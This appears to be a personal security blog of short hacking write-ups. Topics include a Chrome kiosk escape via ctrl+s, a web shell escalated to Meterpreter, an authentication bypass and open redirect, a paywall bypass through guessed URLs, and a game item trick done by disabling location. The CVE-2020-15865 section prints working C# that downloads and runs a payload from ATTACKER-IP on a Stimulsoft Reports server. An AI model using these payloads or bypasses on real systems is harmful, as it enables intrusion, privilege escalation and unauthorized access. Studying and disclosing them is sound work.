Location-based Mobile Game Workaround

Here is a way to obtain items on-the-go while playing a popular location-based mobile game. Frequently I find that as a car passenger, I can use the game for some things at high speeds, but the actual stops/locations that offer the monetized items don't allow me to keep the items even if I manage to select them while driving by. It's important to me to be able to do this, because I don't want to spend money on the game and I live in a rural area that doesn't have a lot of these stops. However, if I turn my location services off while passing one of these locations, I'm able to receive the items! On a few occasions, I've even been able to "sit" on it with the location off, “exit” the shop in-game, then once the timer renews, select it again to collect more items later, no matter where I physically am. In this way I can play the game for free and conveniently without having to park at specified locations. (Note that location spoofing has become more difficult without having to root your phone or download old sketchy versions of services, which could be a security hazard.)

I will edit this to include details if they end up patching it…

ctrl + s to Escape Chrome Kiosk

Consider a tablet at a store kiosk where the owner wants to display one particular web page to users. They don't want the user to have access to any other programs or files on the tablet. In this case, they are running Chrome in a restricted mode, using this command:

 chrome.exe --kiosk "keepuseronthispage.com"

In theory, this is a restricted mode doesn't allow right-click context menu, doesn't show the browser address bar or the task bar, and keeps the user out of the system. So... how do we access the rest of the system? Well, if it's a Windows machine, as in this case, kiosk mode can easily be bypassed if the user presses ctrl + s.




Use the "save as" file explorer window that pops up to run cmd.exe. Now you have access to all the local resources.

NOTE: This doesn't seem to work on Mac OS...which is probably for the best.

Running Unicorn Payload Through Web Shell

This for escalating a low-privileged web shell to a Meterpreter shell. In this example, the Powershell execution policy was changed (using the web shell) to RemoteSigned using powershell Set-ExecutionPolicy. The normal method of storing a unicorn reverse-https payload wasn't working, since the file couldn't be written to the server (either through permissions restrictions or being picked up by antivirus).

Take the contents of the generated unicorn payload from the file, and run it as a Powershell command in the browser: 

Bypass Auth Lib

Recently I found a problem with an authentication library. The hyperlink the user clicks to access private content looks something like this:

https://www.authenticateme.com/auth.asp?url=http://www.privatecontent.com/1337

So normally, after the user enters their credentials on the auth.asp page, they are redirected to privatecontent.com/1337 ... or they could just go directly to that page, bypassing any security restrictions. They can then enumerate and access other content based on the formula of the URL.

Additionally, this qualifies as an open redirect, since an attacker could append their own attack server's address to "url=", then send the link to a victim, and then the attacker will receive the credentials passed through the authentication page.

CVE-2020-15865 - Reporting C# Serialization: Remote Code Execution

The Stimulsoft Reports 2013.1.1600.0 library has code execution built in by design, and can be used to fully compromise the application server running it. Buried in the XML of the report file is a base-64 encoded string that contains C# code that a user can edit, then re-encode, submit, and execute.

It's pretty clear that the code is compiled and run, because the comments say "generated code - do not modify."

... so, of course, let's modify it!

I have to do a lot of testing at this point to make sure that modifying the code doesn't completely break it. After all, I still need it to run, I just want it to also run my code! The application kept crashing as I tried importing other namespaces that I could use, such as one for writing to the operating system (using System.IO). Looks like some of this namespaces are blacklisted, which is smart. It's making it difficult for me to get in.

Eventually the one able to add, without causing errors, is using System.Diagnostics. Which means I can use Process() to start a cmd.exe process and then use a Powershell command to download a payload and get a command shell with Meterpreter. That's what I do. With the malicious changes (in red), it looks like:

<script>

using System.Diagnostics;

namespace Reports {

    public class New_Report : Stimulsoft.Report.StiReport
    {
        public New_Report()
        {
            this.InitializeComponent();
            Process c = newProcess();
            c.StartInfo.FileName = @"cmd.exe";
            c.StartInfo.Arguments = @"/c powershell Invoke-WebRequest -Uri http://ATTACKER-IP/scary.exe -Outfile C:\ProgramData\scary.exe";
            c.Start();

            Process c1 = new Process();
            c1.StartInfo.FileName = @"cmd.exe";
            c1.StartInfo.Arguments = @"/c C:\ProgramData\scary.exe";
            c1.Start();

        }
        
        #region StiReport Designer generated code - do not modify

            #endregion StiReport Designer generated code - do not modify

    }
}
</script>

Since this application is running as user NT AUTHORITY\SYSTEM, the Meterpreter shell returned to the attacker is also running as root.

Some disclaimers: it took a little discovery and trial and error to figure out that the server was running Windows, and which directory I would be able to download the payload to, permissions for executing Powershell scripts etc. Also, depending on how fast the download is, the attacker may have to download and execute the payload in two separate scripts.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15865

Paywalls and Redirects

It is well known that paywalls can commonly be circumvented by editing the client side code so that the content is no longer hidden. But what about when that code is server side? Here is a quick "no tools" way of getting around certain kinds of paywalls.

Disclaimer: don't get around paywalls. It's rude. Pay content providers for content. Anyway... here is the idea. You are on a site with mixed paywall and non-paywall content. You're looking around trying use the typical methods: to find the element to delete or the flag to set to be able to see the content. You're comparing application logic for displaying the paywall vs non-paywall stuff. No luck. In my case, I am presented with this URL, which has a paywall error on the page:

awesome.com/pants

I wondered if maybe the content had been cached and I could view it that way with an "in site" search (in Google, "site:awesome.com/pants [OPTIONAL_SEARCH_TERM]"). Bingo! There are links like:

awesome.com/pants/pants01
awesome.com/pants/pants02

I am able to navigate to these pages and view the "pants" content. But what if I want to view "socks" content? Even though only the "pants" page was cached on Google, it's all I need, because this page happens to link to other pages behind the paywall. But what about the ones that don't have links? Well, since I have an example of the convention used in the URL page, using the root of the URL as a hint, I can craft any URL needed to access all the others as well. For example:

awesome.com/kneesocks

This probably means it has these behind the paywall:

awesome.com/kneesocks/kneesocks01
awesome.com/kneesocks/kneesocks02

And so it does! Now between the links on these pages and the formulaic predictable URL, I can navigate around the rest of the paywall. Additionally, a mistaken URL will very helpfully redirect if the last directory is correct:

awesome.com/pants/kneesocks03  >  [301 status error]  >  awesome.com/kneesocks/kneesocks03

Suggestion to the site for mitigating this risk: require authorization for the pages that need it, whether they are the redirect page or the old page.

Displaying API Keys Client Side

... is a bad idea.

I was pen testing for a friend, and found that most of the application logic was done client-side, which included a REST call to an API. I generally expect sensitive things like keys, app secrets, etc. to be only called server side in non publicly visible code, or at least reference a configuration file with the proper permissions. It is too easy to hijack someone else's API and either run up the bill, or the API limit, or else misuse it in a destructive way (for example, for the Google custom site image search API, one could use the admin console to limit the custom sites to only not-so-nice images, or an image from a server that lies about the MIME type and returns files with malicious code embedded, etc.)

This will probably happen more and more with the widespread use of APIs, specifically for services directly displayed to the user, such as maps or images, since it is tempting and convenient to just call the API directly client-side.